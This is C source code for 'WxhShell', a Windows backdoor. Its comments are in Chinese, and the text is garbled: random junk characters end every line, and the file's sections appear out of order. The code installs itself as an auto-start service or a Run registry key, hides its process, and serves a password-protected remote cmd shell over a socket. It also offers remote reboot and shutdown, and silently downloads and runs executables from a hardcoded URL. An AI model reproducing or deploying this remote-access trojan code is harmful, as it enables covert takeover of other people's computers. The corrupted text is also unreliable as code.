    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E;x-O)(&  
    else { vYb4&VV  
    closesocket(wsh); Xq03o#-p+  
    ExitThread(0); nKS*y*  
    } l~f3J$OkJ  
    break; 4g8o~JI:v  
    } =E%@8ZbK  
  // 关机 adIrrK  
  case 'd': { zIu/!aw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); * jWh4F,  
    if(Boot(SHUTDOWN)) f$kbb 6juL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G'#u!<(^h  
    else { :i& 9}\|,  
    closesocket(wsh); +~aIT=i3  
    ExitThread(0); N>"L2E=z$|  
    } Z_4%Oi  
    break; *AW v  
    } fW+ "Kuw  
  // 获取shell {d;z3AB  
  case 's': { a{Y|`*7y  
    CmdShell(wsh); 3en6 7l  
    closesocket(wsh); l5Ko9CG  
    ExitThread(0); aF+Lam(  
    break; [J}eNprg  
  } ?HZ^V  
  // 退出 7x>^ip"7  
  case 'x': { Q2r[^Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;*j K!  
    CloseIt(wsh); Z'y&11  
    break; {}k3nJfE  
    } k?&GL!?  
  // 离开 EFh^C.S8  
  case 'q': { Xm>zT'B_tJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YW&K,)L@  
    closesocket(wsh); OObAn^bt  
    WSACleanup(); gjN'D!'E1D  
    exit(1); JZ`h+fAt  
    break; g =Xy{Vm  
        } UCfouQCj  
  } )1M2}11uS  
  } ,3T"fT-(  
Uoe;=P@  
  // 提示信息 so$(-4(E O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {R(CGrI  
} {cOx0=  
  } 7`t"fS  
0Atha>w^o~  
  return; gveJ1P  
} k89N}MA   
abUO3 Y{  
// shell模块句柄 IJ2'  
int CmdShell(SOCKET sock) y,|2hrj/0E  
{ s9CmR]C  
STARTUPINFO si; CZ u=/8?  
ZeroMemory(&si,sizeof(si)); BQ Vro;#Jc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XF)N_}X^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  6d;}mhH  
PROCESS_INFORMATION ProcessInfo; J QnaXjW2  
char cmdline[]="cmd"; cpP}NJb0;%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  S9}I  
  return 0; P4_B.5rrJ  
} hN!;Tny  
z=U+FHdh/-  
// 自身启动模式 W0sLMHq  
int StartFromService(void) 6JZ>&HA  
{ E9j<+Ik  
typedef struct -_5Dk'R#`  
{ ZM-P  
  DWORD ExitStatus; Gkem_Z  
  DWORD PebBaseAddress; T%6JVFD  
  DWORD AffinityMask; "X2'k@s`  
  DWORD BasePriority; ]goJ- &  
  ULONG UniqueProcessId; a<\n$E#q  
  ULONG InheritedFromUniqueProcessId; D|)_c1g  
}   PROCESS_BASIC_INFORMATION; lCp6UkE  
06%-tAq:  
PROCNTQSIP NtQueryInformationProcess; \UZGXk  
99ZWB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EMO {u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N6-7RoA+  
sU&v B:]~  
  HANDLE             hProcess; DoQ^caa@  
  PROCESS_BASIC_INFORMATION pbi; 9AhA"+?  
m=@xZw<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Ux(nt  
  if(NULL == hInst ) return 0; i@?|vu  
6}I X{nQI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EniV-Uj\D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H i8V=+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <#?dPDMG.*  
!nkIXgWz  
  if (!NtQueryInformationProcess) return 0; r/AOgS  
^0|:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E7\K{]  
  if(!hProcess) return 0; >JE+g[$@  
b5=|1SjR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j#2Xw25  
TaYl[I  
  CloseHandle(hProcess); uCB9;+ Hjw  
zNt//,={  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lAi5sN)|$  
if(hProcess==NULL) return 0; P8X9bW~GQ  
uXFI7vV6P  
HMODULE hMod; ;.sYE/ZVi  
char procName[255]; ^_@[1'^  
unsigned long cbNeeded; ~8nR3ki  
EIQ3vOq6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fiWN^sTM  
X [dfms;H  
  CloseHandle(hProcess); ;-~E !_$  
ohKoX$|p~  
if(strstr(procName,"services")) return 1; // 以服务启动 JYw?  
_"Ym]y28li  
  return 0; // 注册表启动 lG'D/#  
} 5|~g2Zz{;  
qqZ4K:oC,  
// 主模块 2@Yu: |d4U  
int StartWxhshell(LPSTR lpCmdLine) K% FK  
{ Izu____  
  SOCKET wsl; q:)PfP+  
BOOL val=TRUE; %8u9:Cl):  
  int port=0; lmHQ"z 3G  
  struct sockaddr_in door; @, fvWNI  
0;><@{'  
  if(wscfg.ws_autoins) Install(); Cn 5"zDK$  
;E 9o%f:o  
port=atoi(lpCmdLine); HoAg8siQ  
Pd&KAu|<`  
if(port<=0) port=wscfg.ws_port; cKkH*0B5  
~L<"]V+B  
  WSADATA data; d'MZ%.#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QObVJg,GD  
02[m{a-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ),`jMd1`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,yNuz@^ P  
  door.sin_family = AF_INET; {0F/6GwUC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "t^RZ45  
  door.sin_port = htons(port); f4.jWBF  
"$(D7yFO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D6@ c|O{Q  
closesocket(wsl); pJ8F+`*  
return 1; v]on0Pi!  
} #n+u>x.O  
iYT?6Y|+  
  if(listen(wsl,2) == INVALID_SOCKET) { )tJaw#Mih  
closesocket(wsl); !Ltx2CB2]  
return 1; Z+U -+eG  
} ',`Qx{tQ)  
  Wxhshell(wsl); aE)1LP  
  WSACleanup(); qB_s<cpn>  
~ i+XVo  
return 0; f9#srIx+  
{'+{ASpO!  
} AP>n-Z|  
V*rLGY#  
// 以NT服务方式启动 ,}W|cm>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (kO(R#M  
{ R- >~MLeK]  
DWORD   status = 0; {jYVA~.|Z  
  DWORD   specificError = 0xfffffff; P^F3,'N  
\e4AxLP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ng;?hTw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6X A(<1P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =gSc{ i|  
  serviceStatus.dwWin32ExitCode     = 0;  D~"a"  
  serviceStatus.dwServiceSpecificExitCode = 0; xF3FY0U[  
  serviceStatus.dwCheckPoint       = 0; ~tfd9,t  
  serviceStatus.dwWaitHint       = 0; 3s%DF,  
ef7 U7   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U 5j4iz'  
  if (hServiceStatusHandle==0) return; FY Flh^}  
>%`SXB& 9  
status = GetLastError(); FXT^r3  
  if (status!=NO_ERROR) +p>h` fc  
{ BhAT@%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~ :{mKc  
    serviceStatus.dwCheckPoint       = 0; H0OO +MCe  
    serviceStatus.dwWaitHint       = 0; 1ED7 .#g  
    serviceStatus.dwWin32ExitCode     = status; IfB .2e`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z}0{FwW"4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hC"'cUrcN  
    return; bR~Xog  
  } F;`c0ja]  
HFjSM~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8*b{8%<K  
  serviceStatus.dwCheckPoint       = 0; @0EY5{&  
  serviceStatus.dwWaitHint       = 0; qm/>\4eLt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Lv"wec*x  
} $2*_7_Qb  
O95gdxc  
// 处理NT服务事件,比如:启动、停止 aKW-(5<JW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "[]oWPOj  
{ {ly<%Q7j  
switch(fdwControl) ]m`:T  
{ ]pB5cq7o  
case SERVICE_CONTROL_STOP: q,7W,<-  
  serviceStatus.dwWin32ExitCode = 0;  whw+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m.ka%h$  
  serviceStatus.dwCheckPoint   = 0; r$4d4xtK  
  serviceStatus.dwWaitHint     = 0; 1(T2:N(M-A  
  { *[ 0,QEy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 71E~~$  
  } 3 []ltN_  
  return; Yg5o!A  
case SERVICE_CONTROL_PAUSE: o` QH8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yR{rje*  
  break; ))dqC l  
case SERVICE_CONTROL_CONTINUE: '$p`3Oqi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pLF,rOb  
  break; 'W9[Vm  
case SERVICE_CONTROL_INTERROGATE: qF(i1#  
  break; sd+_NtH  
}; =pmG.>Si  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4s%zvRu  
} g*FHZM*N9  
E|-5=!]fX  
// 标准应用程序主函数 C[Q4OAFG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U:7w8$_  
{ F> Ika=z,  
8VU(+%X  
// 获取操作系统版本 =os!^{p7>  
OsIsNt=GetOsVer(); JDa_;bqL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); POl-S<QV  
E[ -yfP~[  
  // 从命令行安装  s=:LS  
  if(strpbrk(lpCmdLine,"iI")) Install(); OB=bRLd.IR  
ZR=i*y  
  // 下载执行文件 @mu{*. &  
if(wscfg.ws_downexe) { z"  z$.c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =ePwGm1:c  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5FB3w48  
} yMkR)HY  
 \>"Zn7  
if(!OsIsNt) { X xwcvE  
// 如果时win9x,隐藏进程并且设置为注册表启动 b(U5n"cdA  
HideProc(); Bkn]80W  
StartWxhshell(lpCmdLine); QYDI-<.(  
} p;, V  
else 9i_@3OVl  
  if(StartFromService()) IY!.j5q8  
  // 以服务方式启动 KMfIp:~  
  StartServiceCtrlDispatcher(DispatchTable); 4Hyp]07  
else  )D+eWo  
  // 普通方式启动 =s:kC`O  
  StartWxhshell(lpCmdLine); e)-$ #qW  
\N|}V.r  
return 0; hB>FJZQ_  
} s H'FqV,)  
8* m,#   
z\, lPwB2  
O['[_1n_u]  
=========================================== oMM@{Jp  
JY:Fu  
sT iFh"8d>  
)Mflt0fp  
NODg_J~T  
4\V/A+<W  
" Oi C|~8  
peS4<MqWu  
#include <stdio.h> T$FKn  
#include <string.h> Ai 8+U)  
#include <windows.h> .3XSF$;  
#include <winsock2.h> 07(LLhk@d  
#include <winsvc.h> {9P(U\]e]k  
#include <urlmon.h> $Sm iN'7;  
~k@{b&  
#pragma comment (lib, "Ws2_32.lib") XF3lS#pt  
#pragma comment (lib, "urlmon.lib") tycVcr \(  
1 Cz}|#U  
#define MAX_USER   100 // 最大客户端连接数 eUu<q/FUMj  
#define BUF_SOCK   200 // sock buffer ~(c<M>Q8  
#define KEY_BUFF   255 // 输入 buffer :SMf (E 5  
1z,P"?Q  
#define REBOOT     0   // 重启 Um-Xb'R*]V  
#define SHUTDOWN   1   // 关机 x>K,{{B)X  
QDK }e:4q  
#define DEF_PORT   5000 // 监听端口 MdkL_YP}.  
+WR'\15u   
#define REG_LEN     16   // 注册表键长度 nC$ c.K'  
#define SVC_LEN     80   // NT服务名长度 RcR-sbR  
D&N3LH  
// 从dll定义API vgNrHq&2q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h^WMv *2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C^]UK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PK{FQ3b2{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )P+<=8@a  
#MMp0  
// wxhshell配置信息 1!+0]_8K  
struct WSCFG { O#8lJ%?  
  int ws_port;         // 监听端口 X,8Zn06M  
  char ws_passstr[REG_LEN]; // 口令 Y!(w.G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7oL:C  
  char ws_regname[REG_LEN]; // 注册表键名 (o\D=!a  
  char ws_svcname[REG_LEN]; // 服务名 1]8Hpd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vON7~KA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #~|esr/wf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mac:E__G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `09[25?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p NQ@aJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &=Y%4 vq  
5Tidb$L;Du  
}; n-wOLH  
H\<PGC"_Y  
// default Wxhshell configuration |`I9K#w3  
struct WSCFG wscfg={DEF_PORT, }U%E-:  
    "xuhuanlingzhe", 3][   
    1, us:v/WTQ  
    "Wxhshell", op&j4R  
    "Wxhshell", Dn>C :YS`  
            "WxhShell Service", .lz= MUR  
    "Wrsky Windows CmdShell Service", +).=}.k  
    "Please Input Your Password: ", >k}Kf1I  
  1, g'-hSV/@}@  
  "http://www.wrsky.com/wxhshell.exe", tM:$H6m/(  
  "Wxhshell.exe" S =sL:FC  
    }; ZM=eiJZ  
v,3 }YDu  
// 消息定义模块 oO;< $wx2t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pBu}c<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QNcl    
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s2+_`Ogg  
char *msg_ws_ext="\n\rExit."; -HFyNk]>  
char *msg_ws_end="\n\rQuit."; 85FzIX-F%  
char *msg_ws_boot="\n\rReboot..."; ^(qR({cX  
char *msg_ws_poff="\n\rShutdown..."; B SEP*#s  
char *msg_ws_down="\n\rSave to "; Bq,Pk5b  
z5f3T D6,  
char *msg_ws_err="\n\rErr!"; ; ?,'jI*1  
char *msg_ws_ok="\n\rOK!"; rO,n~|YJ  
]7|qhAh<L  
char ExeFile[MAX_PATH]; X5Y. o&  
int nUser = 0; *unJd"<*&@  
HANDLE handles[MAX_USER]; _z"\3hZ  
int OsIsNt; 3/su1M[  
6k1_dRu  
SERVICE_STATUS       serviceStatus; $yFR{_]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w-wJhc|  
(Y?}'?  
// 函数声明 iA"H*0  
int Install(void); /'>ck2drjk  
int Uninstall(void); SR/ "{\C  
int DownloadFile(char *sURL, SOCKET wsh); s*>B"#En  
int Boot(int flag); DK%@ [D  
void HideProc(void); DeN$YE#*  
int GetOsVer(void); -K5u5l}  
int Wxhshell(SOCKET wsl); DCCij N  
void TalkWithClient(void *cs); s*kSl:T @O  
int CmdShell(SOCKET sock); +ldgT"  
int StartFromService(void); aSSw>*?Q  
int StartWxhshell(LPSTR lpCmdLine); Q(hAV  
Xpmi(~n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OZl0I#@A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !8J%%Ux&M  
x Sv@K5"8!  
// 数据结构和表定义 MWn []'TpH  
SERVICE_TABLE_ENTRY DispatchTable[] = =vKSvQP@)  
{ ?d)eri8,  
{wscfg.ws_svcname, NTServiceMain}, YQ}IE[J}v  
{NULL, NULL} .iEzEmu  
}; !*B1Eo--cN  
?OWJUmQ  
// 自我安装 TSP#.QY  
int Install(void) |?uUw$oh  
{ X>rv{@KbL  
  char svExeFile[MAX_PATH]; H:L<gv(rG  
  HKEY key; ;c>IM]  
  strcpy(svExeFile,ExeFile); 4p/d>DTiM  
4ko(bW#jL  
// 如果是win9x系统,修改注册表设为自启动  f(*^zga,  
if(!OsIsNt) { )}R w@70L-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q-f?7*>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gn?<~8a  
  RegCloseKey(key); z_ia3k<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >z69r0)>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cpBTi  
  RegCloseKey(key); !W45X}/o  
  return 0; l0{R`G,  
    } k /lDE  
  } UxVxnJ_  
} +S}/ 6dg  
else { ^y&sKO  
1bJrEXHXy  
// 如果是NT以上系统,安装为系统服务 | D,->k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i}e OWi  
if (schSCManager!=0) x-=qlg&EI  
{ dy2<b+ ..  
  SC_HANDLE schService = CreateService SH M@H93  
  ( $r= tOD4;  
  schSCManager, /%T d(  
  wscfg.ws_svcname, .t|B6n!  
  wscfg.ws_svcdisp, VpmD1YSn  
  SERVICE_ALL_ACCESS, G>c:+`KS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,hXhcfFl  
  SERVICE_AUTO_START, Ln5g"g8gb%  
  SERVICE_ERROR_NORMAL, #x5?RHX56  
  svExeFile, 5KDN8pJN  
  NULL, W%^;:YQ9i  
  NULL, K)r|oW=6Y  
  NULL, p v*n.U6  
  NULL, $n@B:kv5p  
  NULL L)j<;{J/Q0  
  ); MFm2p?zPm  
  if (schService!=0) 'nh^'i&0.  
  { \ POQeZ  
  CloseServiceHandle(schService); q`^ T7  
  CloseServiceHandle(schSCManager); d;O4)8 >  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |jE0H!j  
  strcat(svExeFile,wscfg.ws_svcname); xnD"LK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z;ko )  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eUE(vn#  
  RegCloseKey(key); '?MT " G  
  return 0; $^j#z^7  
    } /L? ia  
  } 2io~pk>  
  CloseServiceHandle(schSCManager); As-xO~+  
} C;NG#4;'  
} -7:_Dy  
K/ 5U;oC  
return 1; 1=Nh<FuQ  
} ct![eWsuB  
~zT743  
// 自我卸载 R\d)kcy4  
int Uninstall(void) sW]fPa(cn,  
{ aJ^RY5  
  HKEY key; ]KE"|}B  
R;EdYbiF b  
if(!OsIsNt) { Y('?Z]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,@4~:OY  
  RegDeleteValue(key,wscfg.ws_regname); \RDS~u\d  
  RegCloseKey(key); 24Uvi:B?~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5|0}   
  RegDeleteValue(key,wscfg.ws_regname); UCVdR<<Z  
  RegCloseKey(key); qz6@'1  
  return 0; ;fGh]i  
  } '$\O*e'  
} Vx*O^cM  
} ].r~?9'/  
else { {IA3`y~  
::R5F4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B EB[K2[9  
if (schSCManager!=0) !)$e+o^W  
{ @\s*f7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S5>?j n1  
  if (schService!=0) ft><Ql3  
  { f )Ef-o  
  if(DeleteService(schService)!=0) { KO3X)D<3  
  CloseServiceHandle(schService); ur K~]68  
  CloseServiceHandle(schSCManager); AMf{E  
  return 0; Z(:q.{"r  
  } {k8R6l1  
  CloseServiceHandle(schService); ~D\zz }l  
  } V Bv|7S  
  CloseServiceHandle(schSCManager); e .1! K  
} *BFG{P  
} PEDV9u[A  
>PmnR>x-rj  
return 1; S";c7s  
} &f($= 68  
9mRP%c#(  
// 从指定url下载文件 KI Xp+Z  
int DownloadFile(char *sURL, SOCKET wsh) ]wm<$+@  
{ ;nbV-<e  
  HRESULT hr; &\ $~  
char seps[]= "/"; )wyC8`&-  
char *token; -"uOh,G}  
char *file; 7*\Cf qrU  
char myURL[MAX_PATH]; n5>OZ3 E@  
char myFILE[MAX_PATH]; HP2J`>oo  
!hWS%m@  
strcpy(myURL,sURL); yB2}[1  
  token=strtok(myURL,seps); WiiAIv&  
  while(token!=NULL) IC6r?  
  { +*L<"@  
    file=token; k$3Iv"gbx  
  token=strtok(NULL,seps); Cm%|hk>fQ  
  } ,4--3 MU  
GW,RE\Q:  
GetCurrentDirectory(MAX_PATH,myFILE); / ?Hq  
strcat(myFILE, "\\"); {L/hhKT  
strcat(myFILE, file); F_-}GN%  
  send(wsh,myFILE,strlen(myFILE),0); Xb2.t^ ]f  
send(wsh,"...",3,0); 7.FD16  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _?v&\j  
  if(hr==S_OK) !q!5D`  
return 0; h,|. qfUk  
else >["X( %&w  
return 1; *b8AN3!  
K(r@JW  
} *3\N j6  
vR4omB{  
// 系统电源模块 7!/!a*zg  
int Boot(int flag) e?_uJh"  
{ F[KM0t!  
  HANDLE hToken; `G:I|=#w  
  TOKEN_PRIVILEGES tkp; *aW:Z6N  
QWwdtk  
  if(OsIsNt) { )|wC 1J!L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =A{s,UP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pl\NzB,`  
    tkp.PrivilegeCount = 1; Ruv`yfQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )~-r&Q5d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O-&^;]ieJ  
if(flag==REBOOT) { %f5c,}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @Y !Jm  
  return 0; ek1<9" y  
} Q6;bORN  
else { Y_nl9}&+C0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V 5D8z  
  return 0; B&m6N,  
} . ZP$,  
  } lk.Mc6)  
  else { bT15jNa  
if(flag==REBOOT) { u0F{.fe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MO%+rf0~w  
  return 0; 9#E)H?`g  
} |[!7^tU*  
else { 'U-8w@\Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P!dSJ1'oC  
  return 0; b_f"(l8'S  
} 4JRQ=T|P7I  
} zZ94_8b  
K-[;w$np0  
return 1; |7QSr!{_  
} ~S\,  
xnxNc5$oE  
// win9x进程隐藏模块 Rxlz`&   
void HideProc(void) EY^?@D_<  
{ $8}'h  
gg/2R?O]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :.u2^*<  
  if ( hKernel != NULL ) G=er0(7<  
  { RFPcH8-u7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vsr"W@k_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fJ=v?  
    FreeLibrary(hKernel); QXW> }GdKZ  
  } qOv`&%txW  
>X xHp  
return; @r=,: 'Mt  
} '<$*N  
:7~DiH:Q  
// 获取操作系统版本 qM<CBcON  
int GetOsVer(void) m 48Ab`  
{ {YG qa$+\  
  OSVERSIONINFO winfo; Ibg~.>.u{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '61>.u:2  
  GetVersionEx(&winfo); "U/yq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nw{Cu+AwG  
  return 1; jq%}=-%KE  
  else tz5\O}  
  return 0; |K" nSXzk  
} a"l\_D'.K8  
yKy )%i  
// 客户端句柄模块 "7eL&  
int Wxhshell(SOCKET wsl) 7AlL,&+  
{ qh+&Zx~  
  SOCKET wsh; (|>rDk;  
  struct sockaddr_in client; -A@/cS%p  
  DWORD myID; l6zYiM  
1Tr%lO5?6  
  while(nUser<MAX_USER) AH-BZ8  
{ \OXQ%J2v  
  int nSize=sizeof(client); ]( FFvqA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gVrfZ&XF84  
  if(wsh==INVALID_SOCKET) return 1; !hjF"Pa  
KciN"g|X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ckc5;:b&m  
if(handles[nUser]==0) kj6H+@ {  
  closesocket(wsh); H>o \C  
else %|j8#09  
  nUser++; A/{!w"G  
  } \ AIFIy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  /PTq.  
vqZBDQ0  
  return 0; Km,%p@`m  
} q0DRT4K  
{$#88Qa\-  
// 关闭 socket =K_&@|f+B  
void CloseIt(SOCKET wsh) |*DkriYY  
{ lF t^dl^  
closesocket(wsh); ?C- ju8]|  
nUser--; m>RtKCtP  
ExitThread(0); `X)A$lLr  
} [b_qC'K[  
1 e]D=2y  
// 客户端请求句柄 Z;,G:@,  
void TalkWithClient(void *cs) 0 vYG#S  
{ |>OBpb  
x4(8 =&Z  
  SOCKET wsh=(SOCKET)cs; ^C92R"*Qu  
  char pwd[SVC_LEN]; fz A Fn$[  
  char cmd[KEY_BUFF]; x6^Y&,y9kU  
char chr[1]; bDm7$ (  
int i,j; F`GXho[  
4H NaE{O4  
  while (nUser < MAX_USER) { Ud7Z7?Ym  
uEf=Vj}G  
if(wscfg.ws_passstr) { !8D>Bczq)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?z2!?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -+M360  
  //ZeroMemory(pwd,KEY_BUFF); R:3=!zav  
      i=0; uGF{0 )0g  
  while(i<SVC_LEN) { KMK8jJ  
y/:%S2za>  
  // 设置超时 ;mRZ_^V;  
  fd_set FdRead; O=*,  
  struct timeval TimeOut; #oR`_Dm)P  
  FD_ZERO(&FdRead); EeT 69o  
  FD_SET(wsh,&FdRead); c*]f#yr?  
  TimeOut.tv_sec=8; IUDH"~f  
  TimeOut.tv_usec=0; |a a\t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); seRf q&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {}rnn$HQe  
S;jD@j\t&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 ba e-  
  pwd=chr[0]; sp MYn&p  
  if(chr[0]==0xd || chr[0]==0xa) { TLp2a<Iy  
  pwd=0; ck%YEMs  
  break; y:^o ._  
  } B-$?5Ft!  
  i++; e9 @{[  
    } !>D[Y  
97$Q?a8S@  
  // 如果是非法用户,关闭 socket @x!,iT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s^SU6P/ ]  
} )Tp"l"(G  
LMx/0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MmfBFt*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?o$ t{AQ  
[7d(P EQL`  
while(1) { *9uNM@7&0  
rMHh!)^#W  
  ZeroMemory(cmd,KEY_BUFF); 9(O eH7  
d(TN(6g@  
      // 自动支持客户端 telnet标准   B@NBN&Fr  
  j=0; a/J Mg   
  while(j<KEY_BUFF) { 0nL #-`S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yj*T'<e  
  cmd[j]=chr[0]; ~CbiKez  
  if(chr[0]==0xa || chr[0]==0xd) { ^<-)rzTI  
  cmd[j]=0; %OB>FY:|  
  break; IW&*3I<K  
  } 0ju-l= w  
  j++; LU+SuVm  
    } /} z9(  
s]O Z+^Z  
  // 下载文件 tgl(*[T2  
  if(strstr(cmd,"http://")) { oA@M =  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4x(m.u@  
